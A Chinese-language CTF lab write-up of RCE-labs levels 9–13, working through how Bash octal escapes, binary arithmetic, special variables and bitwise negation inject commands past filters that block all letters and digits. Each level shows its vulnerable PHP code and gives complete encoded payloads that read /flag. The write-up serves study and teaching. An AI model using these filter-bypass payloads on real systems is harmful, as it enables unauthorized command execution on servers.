【RCELABS】Level 9 - 13 - 基于Bash的无字母命令执行
【RCELABS】Level 9 - 13 - 基于Bash的无字母命令执行
前言
本次练习靶场 RCE-labs 出自探姬(ProbiusOfficial)的 HelloCTF 开源项目。
无字母数字命令执行是命令注入中的高阶利用技巧,也是 CTF Web 题型中极具区分度的考点。当 WAF 过滤了所有字母和数字时,常规的 cat、ls 等命令完全无法使用,需要借助 Bash Shell 的特殊变量、语法特性和内置机制,纯靠符号拼出可执行命令。
本部分 Level 9~13 聚焦基于 Bash 的无字母命令执行,从基础特殊变量到进阶构造手法,循序渐进展示无字母数字场景下的命令执行思路,适合系统性学习 Bash 特性与极限绕过技巧。
文中所有分析、Payload 仅在自行部署的本地靶场环境学习练习,仅作为个人学习笔记分享。严禁将文中方法使用于任何未授权目标,自觉遵守《网络安全法》等相关法律法规。
整篇笔记统一采用源码分析 → 漏洞原理 → Payload 构造结构,方便后续复盘查阅。
Bash 特性前置说明
📖 本部分内容参考探姬大佬的靶场注释与官方讲解整理,补充了一些便于理解的解读。
从 Level 9 开始,后面几道无字母命令执行的题目都依赖 Bash 的专属语法特性。在正式做题之前,先把几个容易混淆的基础概念讲清楚,能帮你更好地理解后面的 Payload 为什么能生效、又为什么会失效。
一、sh 不是真的 shell,它只是个软链接
很多人以为 sh 是一个独立的 shell 程序,其实不是——在绝大多数 Linux 系统里,/bin/sh 都只是一个软链接(相当于 Windows 里的快捷方式),它最终指向哪个 shell,不同系统不一样:
| 系统/发行版 | /bin/sh 默认指向 | 支不支持 $'\xxx' 语法 |
|---|---|---|
| Debian / Ubuntu | dash | ❌ 不支持 |
| CentOS / RHEL | bash | ✅ 支持 |
| Alpine(本靶场默认) | busybox | ❌ 不支持 |
怎么验证?执行
ls -l /bin/sh就能看到软链接最终指向哪里。

截图里可以清晰看到:/bin/sh -> dash,Kali 基于 Debian,默认 sh 指向 dash。手动终端使用bash,可以解析$'\xxx';PHP system()调用/bin/sh也就是dash,dash不支持该语法,Payload运行报错。
验证小实验:终端直接输入
dash进入dash环境,测试$'\154\163',会复现和PHP内一模一样的报错。无需启动Web服务就能验证。

二、PHP 的 system() 走的是 sh,不是 bash
这是最容易踩坑的地方:你在终端里直接敲命令用的是 bash,但 PHP 的 system()、exec() 这些函数,底层是通过 sh 来执行命令的。
可以用 echo $0 验证当前运行的 shell:
- 终端直接执行 → 通常输出
bash - 通过 PHP
system()执行 → 输出sh
这就导致一个问题:你在本地 bash 里测通的 Payload,放到 PHP 里可能直接失效——因为 sh 指向的 dash 或 busybox 不支持那些 bash 专属语法。
三、靶场为什么特意改了软链接?
题目 Dockerfile 里加了这一行:
RUN ln -sf /bin/bash /bin/sh
就是为了把 sh 从默认的 busybox 改成指向 bash,让 $'\xxx' 这种 bash 专属语法能通过 PHP system() 正常执行。
💡 实战提示:遇到无字母命令执行的题目,先想办法确认 sh 指向哪个 shell。如果指向 dash,八进制、十六进制这些 bash 专属玩法都用不了,得换其他思路。
四、怎么快速判断环境支不支持?
最简单的验证方法:执行 $'\154\163'(也就是 ls 的八进制表示):
- 能列出目录 → 说明是 bash,支持该语法
- 报
not found→ 说明是 dash/busybox,不支持
📌 一句话总结:无字母命令执行的很多技巧都是 Bash 专属特性,能不能用的前提是目标环境的 sh 必须指向 bash。这也是后面所有关卡成立的基础。
RCELABS - 9:八进制转义构造命令
题目描述
- 考点:Bash 无字母命令执行 - 八进制
- ·描述:通过 $‘\ooo’ 八进制转义把命令字符拼出来。
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_八进制转义 ---
题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用
从该关卡开始你会发现我们在Dockerfile中添加了一行改动:
RUN ln -sf /bin/bash /bin/sh
这是由于在PHP中,system是执行sh的,sh通常只是一个软连接,并不是真的有一个shell叫sh。在debian系操作系统中,sh指向dash;在centos系操作系统中,sh指向bash,我们用的底层镜像 php:7.3-fpm-alpine 默认指向的 /bin/busybox ,要验证这一点,你可以对 /bin/sh 使用 ls -l 命令查看,在这个容器中,你会得到下面的回显:
bash-5.1# ls -l /bin/sh
lrwxrwxrwx 1 root root 12 Mar 16 2022 /bin/sh -> /bin/busybox
我们需要用到的特性只有bash才支持,请记住这一点,这也是我们手动修改指向的原因。
在这个关卡主要利用的是在终端中,$'\xxx'可以将八进制ascii码解析为字符,仅基于这个特性,我们可以将传入的命令的每一个字符转换为$'\xxx\xxx\xxx\xxx'的形式,但是注意,这种方式在没有空格的情况下无法执行带参数的命令。
比如"ls -l"也就是$'\154\163\40\55\154' 只能拆分为$'\154\163' 空格 $'\55\154'三部分。
bash-5.1# $'\154\163\40\55\154'
bash: ls -l: command not found
bash-5.1# $'\154\163' $'\55\154'
total 4
-rw-r--r-- 1 www-data www-data 829 Aug 14 19:39 index.php
*/
function hello_shell($cmd){
if(preg_match("/[A-Za-z\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>
源码分析
核心过滤逻辑:
if(preg_match("/[A-Za-z\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
| 过滤项 | 具体内容 | 可用字符 |
|---|---|---|
| 正则黑名单 | 所有大小写字母、双引号、%、*、+、,、-、.、/、:、;、=、>、?、@、[、]、^、`、| | 数字、$、'、(、)、{、}、_、\、空格、# 等 |
| 执行函数 | system() 执行系统命令 | —— |
| 环境特殊改动 | Dockerfile 中 ln -sf /bin/bash /bin/sh | sh 实际指向 bash,支持 bash 专属语法 |
为什么要改软链接?默认 alpine 的
/bin/sh指向 busybox,不支持$'\xxx'这种 bash 专属转义语法,必须换成 bash 才能用。
漏洞原理
这道题利用的是 Bash 的 $'\ooo' 八进制转义语法——用三位八进制数字表示一个 ASCII 字符,从而在不直接书写字母的情况下还原出命令。
语法格式:
$'\143\141\164'
等价于:
cat
每个 \ooo 是一个字符的八进制 ASCII 码,比如:
c= 十进制 99 = 八进制 143a= 十进制 97 = 八进制 141t= 十进制 116 = 八进制 164
注意:带参数的命令不能直接把空格也转义后拼在一起,必须分开写。
错误:
$'\154\163\40\55\154'(把空格也转义拼进去会被当成命令名的一部分)正确:
$'\154\163' $'\55\154'(命令和参数分开,中间用真实空格分隔)
Payload 构造
目标命令:cat /flag
由于空格不能直接转义拼进命令里,需要把命令和参数分开:
$'\143\141\164' $'\057\146\154\141\147'
等价于:
cat /flag
手动转换太麻烦?题目作者提供了现成工具:
- 脚本:bashFuck
- 在线生成:https://probiusofficial.github.io/bashFuck/
- 靶场自带:访问
/exp.php可直接使用
利用方式
GET 传参:
?cmd=$'\143\141\164'$IFS$'\057\146\154\141\147'
小技巧:空格也被过滤了,可以用
$IFS替代空格分隔命令和参数。
或者用 ${IFS} 更稳妥:
?cmd=$'\143\141\164'${IFS}$'\057\146\154\141\147'
执行后即可读取 /flag 文件内容。

最终获得flag:flag{qbw1yrnj-gkkw-4kt-8zxt-q1iquthmoismt}
📌 核心思路:利用 Bash
$'\ooo'八进制转义语法,把字母全部换成八进制表示,绕过字母黑名单。
RCELABS - 10:二进制整数替换
题目描述
- 考点:Bash 无字母命令执行 - 二进制
- 描述:使用 $((2#binary)) 将二进制数字转换为可用字符。
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_二进制整数替换 ---
题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用
本关卡的考点为终端中支持 $((2#binary)) 解析二进制数据。
*/
function hello_shell($cmd){
if(preg_match("/[A-Za-z2-9\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>
源码分析
核心过滤逻辑:
if(preg_match("/[A-Za-z2-9\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
| 过滤项 | 具体内容 | 可用字符 |
|---|---|---|
| 正则黑名单 | 大小写字母、2~9数字、" % * + , - . / : ; = > ? @ [ ] ^ ` | | 仅能使用:0、1、$、'、(、)、{、}、_、\、空格、# |
| 执行函数 | system() 调用系统shell执行命令 | —— |
| 环境特殊改动 | Docker 软链接 /bin/sh → /bin/bash | 默认sh不支持bash算术扩展语法,必须bash才能解析$((2#xxxx))二进制转换 |
关键点:过滤掉数字2-9,只剩下数字0可用,无法使用十进制/八进制字符转换,只能依靠bash二进制解析语法。
漏洞原理
本题利用 Bash 算术扩展 $((2#binary_str)) 语法:
$((2#xxxx)) 可以将一串由0/1组成的二进制字符串,转换成对应十进制ASCII数值,再依靠Bash语法解析还原目标字符,在不直接书写字母的情况下拼接系统命令。
语法结构拆解:
2#01100011:标识后续字符串为二进制数据;$((2#01100011))运算得到十进制数值 99,对应ASCII字符c;
约束:整个构造过程只允许出现字符0、括号、$,完美契合本题WAF过滤规则。
Payload 构造
目标命令:cat /flag
八进制
$'\ooo'属于字符串字面量;二进制$((2#xxx))是独立算术扩展单元,每一段本身就是独立语法块!$'\ooo'会将带有空格的八进制字符串转换成一句话,这样会出错,所以八进制转换的时候空格单独用${IFS}来表示而二进制的时候可以直接转换
单个字符基础模板:
$((2#二进制编码))

手动编写二进制串效率极低,可使用题目配套 bashFuck 工具切换二进制模式生成payload:
- 脚本:bashFuck
- 在线生成:https://probiusofficial.github.io/bashFuck/
- 靶场内置工具:
/exp.php
利用方式
- 使用工具生成纯二进制构造的原始Bash Payload;
- 将完整Payload进行URL编码;
- GET参数传入编码后字符串执行。
优先URL编码更稳妥,可以规避两类常见坑:
- Payload 里存在
$()空格这类 URL保留字符
浏览器/GET请求中,如果不编码:
空格会被自动截断、$部分代理、中间件可能发生意外解析,造成Payload残缺,直接WAF拦截或者执行失效。 - 复制链接直接丢浏览器地址栏访问时,未编码特殊符号极易畸变。
这里我们使用线上URL编码转换的工具https://www.toolhelper.cn/EncodeDecode/Url

Payload为:
?cmd=%240%3c%3c%3c%240%5c%3c%5c%3c%5c%3c%5c%24%5c%27%5c%5c%24((%24((1%3c%3c1))%2310001111))%5c%5c%24((%24((1%3c%3c1))%2310001101))%5c%5c%24((%24((1%3c%3c1))%2310100100))%5c%5c%24((%24((1%3c%3c1))%23101000))%5c%5c%24((%24((1%3c%3c1))%23111001))%5c%5c%24((%24((1%3c%3c1))%2310010010))%5c%5c%24((%24((1%3c%3c1))%2310011010))%5c%5c%24((%24((1%3c%3c1))%2310001101))%5c%5c%24((%24((1%3c%3c1))%2310010011))%5c%27
访问链接后执行cat /flag读取flag文件。

成功获取flag:flag{jbwz8dbl-pz79-45y-8bwg-uqu1l0m9owesz}
📌 核心思路:
WAF禁用字母与2~9数字,仅保留数字0;借助bash二进制算术扩展$((2#xxx)),仅使用0、1组成二进制字符串计算ASCII码,动态还原命令字符;最终Payload进行URL编码后传入参数,绕过黑名单过滤实现命令执行。
RCELABS - 11:数字1的特殊变量替换
题目描述
- 考点:Bash 无字母命令执行 - 1 的特殊变量替换
- 描述:在二进制构造的基础上,结合特殊变量替换拼出 1。
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_数字1的特殊变量替换 ---
题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用
本关卡的考点为终端中支持 $((2#binary)) 解析二进制数据 + 我们用 ${##} 来替换 1
*/
function hello_shell($cmd){
if(preg_match("/[A-Za-z1-9\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_POST['cmd']) ? hello_shell($_POST['cmd']) : null;
highlight_file(__FILE__);
?>
源码分析
function hello_shell($cmd){
if(preg_match("/[A-Za-z1-9\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}
| 过滤项 | 具体内容 | 可用字符 |
|---|---|---|
| 正则黑名单 | 大小写字母、数字1~9、" % * + , - . / : ; = > ? @ [ ] ^ ` | | 0、$、'、(、)、{、}、_、\、空格、# |
| 请求方式 | POST 接收cmd参数 | —— |
| 执行函数 | system(),sh软链接指向bash,支持bash高级扩展语法 | —— |
和Level10对比:本关进一步拦截所有数字
1~9,无法直接书写字面量1。
$((2#binary))二进制语法必须使用1构造二进制串,因此需要bash语法动态生成数字1。
漏洞原理
$# / ${#}:代表传递给当前shell的位置参数总数。
在system()拉起交互式bash环境时,没有传入任何参数:
echo $#
# 输出:0
${#var}:bash字符串长度扩展。作用:获取变量var内存储内容的字符串长度
str="abcd"
echo ${#str}
# 输出:4
bash解析 ${##} 规则:
- 外层第一个
#= 长度扩展运算符${#var}; - 第二个
#= 变量名${#}→ 也就是变量$#;
完整拆解:
${##} ⇔ ${#$#}
$#在当前环境的值为0;- 将
0视作字符串,字符串"0"长度 = 1;
本地验证:
echo ${##}
# 输出 1
完美动态生成数值1,规避明文书写1
重要区分
${#1}≠ 1:
${#1}含义:取变量$1的字符串长度;$1为空字符串,结果为0,不可使用。
进制基数2的构造
进制语法 base#binary 中 base=2,同样不能直接写数字2。
利用位运算左移生成:${##}<<${##}
${##}=1$((1 << 1)) = 2
实现动态得到进制基数2。
完整语法链路
${##}→ 结果1$(( ${##} << ${##} ))→ 等价$((1<<1))→ 得到2$(( $((${##}<<${##}))#${##}00${##}${##}0${##}0 ))
等效$((2#10011010)),二进制转换得到十进制ASCII码。
整条逻辑闭环:
不出现任何明文1、明文2,仅使用合法字符0 $ ( ) { } #,满足WAF过滤。
Payload 构造
目标命令:cat /flag
规则约束:禁止明文1~9,二进制串内所有1使用${##}替代;进制基数2使用$((${##}<<${##}))动态构造。
手动拼接二进制串工作量极大且极易写错,推荐使用官方在线bashFuck工具一键生成符合要求的Payload:
在线地址:https://probiusofficial.github.io/bashFuck/
工具配置:输入命令cat /flag,模式选择Binary,勾选No 1选项,直接复制生成结果。
⚠️工具生成载荷自带原生空格分隔各个语法单元,空格未被WAF拦截,无需使用${IFS};二进制串内部连续书写,不能添加空格。
- 打开在线bashFuck工具,按上述配置生成原始Bash Payload;
- 本关卡采用POST请求传输
cmd参数; - 建议将完整Payload进行URL编码后发送,防止
$、#、括号等特殊字符在HTTP传输过程发生解析异常。
这里POST请求
cmd=%240%3c%3c%3c%240%5c%3c%5c%3c%5c%3c%5c%24%5c%27%5c%5c%24((%24((%24%7b%23%23%7d%3c%3c%24%7b%23%23%7d))%23%24%7b%23%23%7d000%24%7b%23%23%7d%24%7b%23%23%7d%24%7b%23%23%7d%24%7b%23%23%7d))%5c%5c%24((%24((%24%7b%23%23%7d%3c%3c%24%7b%23%23%7d))%23%24%7b%23%23%7d000%24%7b%23%23%7d%24%7b%23%23%7d0%24%7b%23%23%7d))%5c%5c%24((%24((%24%7b%23%23%7d%3c%3c%24%7b%23%23%7d))%23%24%7b%23%23%7d0%24%7b%23%23%7d00%24%7b%23%23%7d00))%5c%5c%24((%24((%24%7b%23%23%7d%3c%3c%24%7b%23%23%7d))%23%24%7b%23%23%7d0%24%7b%23%23%7d000))%5c%5c%24((%24((%24%7b%23%23%7d%3c%3c%24%7b%23%23%7d))%23%24%7b%23%23%7d%24%7b%23%23%7d%24%7b%23%23%7d00%24%7b%23%23%7d))%5c%5c%24((%24((%24%7b%23%23%7d%3c%3c%24%7b%23%23%7d))%23%24%7b%23%23%7d00%24%7b%23%23%7d00%24%7b%23%23%7d0))%5c%5c%24((%24((%24%7b%23%23%7d%3c%3c%24%7b%23%23%7d))%23%24%7b%23%23%7d00%24%7b%23%23%7d%24%7b%23%23%7d0%24%7b%23%23%7d0))%5c%5c%24((%24((%24%7b%23%23%7d%3c%3c%24%7b%23%23%7d))%23%24%7b%23%23%7d000%24%7b%23%23%7d%24%7b%23%23%7d0%24%7b%23%23%7d))%5c%5c%24((%24((%24%7b%23%23%7d%3c%3c%24%7b%23%23%7d))%23%24%7b%23%23%7d00%24%7b%23%23%7d00%24%7b%23%23%7d%24%7b%23%23%7d))%5c%27
使用HackBar发送请求后执行命令读取 /flag 文件。

成功获得flag:flag{jw83pmib-ab1o-4mu-8aah-zonlsgjgtmmj9}
核心思路
在上一关二进制命令执行基础上,WAF拦截数字1~9,无法直接书写二进制所需字符1与进制基数2。
利用bash ${##} ⇔ ${#$#} 语法:$#默认值为0,字符串"0"长度等于1,动态生成数值1;
再通过位运算 ${##}<<${##} 运算得到2,满足$((base#二进制串))语法要求;
全程仅使用放行字符,最终实现无字母、无明文数字1~9的命令执行。
💡补充笔记
${##}属于Bash独有语法,BusyBox sh不支持,因此环境需要将/bin/sh软链接至bash;- 区分
${#1}和${##}:${#1}获取空位置参数长度,运算结果为0,不可使用;- 多个构造单元中间依靠原生空格分割,不要将所有内容拼接成单一字符串,否则Bash识别为一条不存在的命令名称。
RCELABS - 12:数字0的特殊变量替换
题目描述
- 考点:Bash 无字母命令执行 - 0 的特殊变量替换
- 描述:在更强限制下构造 0 并继续拼接 Bash 命令。

源码与WAF规则提取
WAF正则:[A-Za-z0-9"%*+,-.\/:;=>?@\[\\\]^~_"] ✅放行字符:$ ( ) { } # `
❌拦截范围:全部大小写字母、数字0~9,额外过滤符号 " % * + , - . / : ; = > ? @ [ \ ] ^ ~ _`
关卡环境说明
本关不再使用PHPsystem()调用shell,改用Flask + Python subprocess直接拉起原生bash交互环境。
漏洞原理
前置语法回顾
${#var}:字符串长度扩展,获取变量内文本长度$#:无传参时固定为0${##}⇔${#$#}:字符串"0"长度 =1
- 间接扩展
${!xxx}(本关核心考点)
语法定义:将变量xxx存储的值视作变量名,读取对应变量内容
a=0
echo ${!a}
# 等价 echo $0
关键变量行为
# 无参数启动bash
echo $# # 输出 0
echo ${##} # 输出 1
echo ${!#} # ${!0} → 读取 $0,输出当前shell名称 sh/bash
echo $? # 上条命令退出码,默认值 0
整套动态数值生成逻辑
${##}→ 稳定生成数值1${#}(即$#)→ 稳定生成数值0$(( ${##} << ${##} ))→$((1<<1)),生成进制基数2${!#}间接扩展作为拓展利用方式(本环境原生bash完整支持,PHP system环境无法正常工作)
所有二进制串内的0、1全部依靠表达式动态生成,全文不存在任何明文数字0~9,完全绕过WAF黑名单。
语法链路:
$(( $((${##}<<${##}))#二进制序列 ))
二进制序列中的1替换为${##},0替换为${#}。
💡区分边界:
${!#}拓展语法仅在本关卡Python拉起原生bash环境可用;前序关卡PHP+system模式不兼容该特性,不要混用。
Payload 构造
目标命令:cat /flag
手动拼接二进制序列工作量巨大,使用官方bashFuck在线工具一键生成载荷
在线工具地址:https://probiusofficial.github.io/bashFuck/
${!#}<<<${!#}\<\<\<\$\'\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${##}${#}${#}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}))\\$(($((${##}<<${##}))#${##}${##}${##}${#}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${##}))\'7
页面为网页内置 Virtual Terminal(虚拟终端),直接在输入框粘贴工具生成的原始Payload,点击Execute执行。
不需要URL编码!
场景区别:
Level9/10/11为HTTP传参(GET/POST),特殊符号需要URL编码;
Level12是前端虚拟终端直传命令给bash,直接粘贴原始载荷即可。

成功获取到flag:flag{r56c75lg-u7so-4oj-8d2h-emvmmkds6cfrc}
在上一关基础上,WAF进一步封禁全部明文数字0~9,无法直接书写0与1。
依托Python subprocess拉起完整原生bash环境,利用:
${#}获取数值0,${##}获取数值1;- 位运算
${##}<<${##}动态生成进制基数2; - 搭配
$((base#二进制串))算术扩展还原ASCII字符;
全程仅使用放行符号,实现无字母、无任何明文数字的命令执行。
📝拓展笔记
${!#}间接变量扩展是bash独有特性,仅在本关卡环境可用;若移植到PHPsystem()场景会失效,属于环境兼容性限制,不能套用到前面关卡。
RCELABS - 13:特殊扩展替换任意数字
题目描述
- 考点:Bash 无字母命令执行 - 任意数字构造
- 描述:利用取反和特殊变量替换拼出任意数字。
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_特殊扩展替换任意数字 ---
题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用
本关卡的考点为 $(()) + 取反 构造任意数字
echo $(()) -> 0
echo $((~$(()))) -> -1
echo $(($((~$(())))$((~$(()))))) -> -2
*/
function hello_shell($cmd){
if(preg_match("/[A-Za-z0-9\"%*+,-.\/:;>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>
源码分析
function hello_shell($cmd){
if(preg_match("/[A-Za-z0-9\"%*+,-.\/:;>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}
- 请求方式:GET 传参
cmd - 可用字符:
$ ( ) ~ # < = &、空格
重点:
#没有被WAF过滤,理论上Level11/12的${#}/${##}语法依然可以运行;但本关考察全新方案:位取反构造数字。
漏洞原理
此题为什么用不了#
环境兼容性重点,这里请看探姬大佬的讲解
${!xxx}是bash专属间接变量扩展特性:将变量存储的值视作变量名,读取目标变量内容。
在PHPsystem()调用sh -c的模式下,受限于dash或者bash非交互模式限制,${!#}无法正常解析;
Level12采用Python subprocess直接启动原生bash交互终端,完整bash环境原生支持该语法。
基础运算
$(()):空算术表达式,结果 =0
echo $(())
# 0
~bash位取反规则:~n = -n - 1
$((~$(())))
# ~0 = -1
构造逻辑
$((~$(())))→-1- 累加多个
-1,得到任意负数:$(($((~$(())))+$((~$(())))))=-2 - 外层套负号,负负得正,转换成正数:
$(( - $(($((~$(())))+$((~$(()))))) ))→-(-2)=2
依靠这套逻辑,可以造出任意正整数,不止0和1,通用性远超 ${##} 方案。
此处贴出列表
oct_list = [ # 构造数字 0-7 以便于后续八进制形式的构造
'$(())', # 0
'$((~$(($((~$(())))$((~$(())))))))', # 1
'$((~$(($((~$(())))$((~$(())))$((~$(())))))))', # 2
'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 3
'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 4
'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 5
'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 6
'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 7
]
和旧方案对比
${#}/${##}:仅能生成 0、1,适用场景有限;~位取反方案:可自由生成任意数字,是无数字RCE通用方法。
出题意图:学习一套不依赖
${#}字符串长度扩展、普适性更强的数字构造思路。
Payload 构造
目标命令:cat /flag
转换得到:
__=$(())&&${!__}<<<${!__}\<\<\<\$\'\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$(())\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\'
转换为URL,最终payload为:
?cmd=__%3d%24(())%26%26%24%7b!__%7d%3c%3c%3c%24%7b!__%7d%5c%3c%5c%3c%5c%3c%5c%24%5c%27%5c%5c%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%5c%5c%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))))))%5c%5c%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%5c%5c%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%24(())%5c%5c%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%5c%5c%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%5c%5c%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%5c%5c%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))))))%5c%5c%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%5c%27%0a
成功获得flag:flag{urcdbhzk-omde-4y8-8e3y-gz1buyuepkaop}
WAF拦截所有明文数字、字母。虽然放行#,但本关学习位取反构造体系:
$(()) 得到0,~运算得到-1;累加、取负运算生成需要的任意正数,配合 $((基数#二进制串)) 还原字符,实现无字母无明文数字RCE。
该语法依赖bash算术扩展;busybox-sh不支持位取反,环境依靠 /bin/sh 软链接bash保证正常运行。
总结
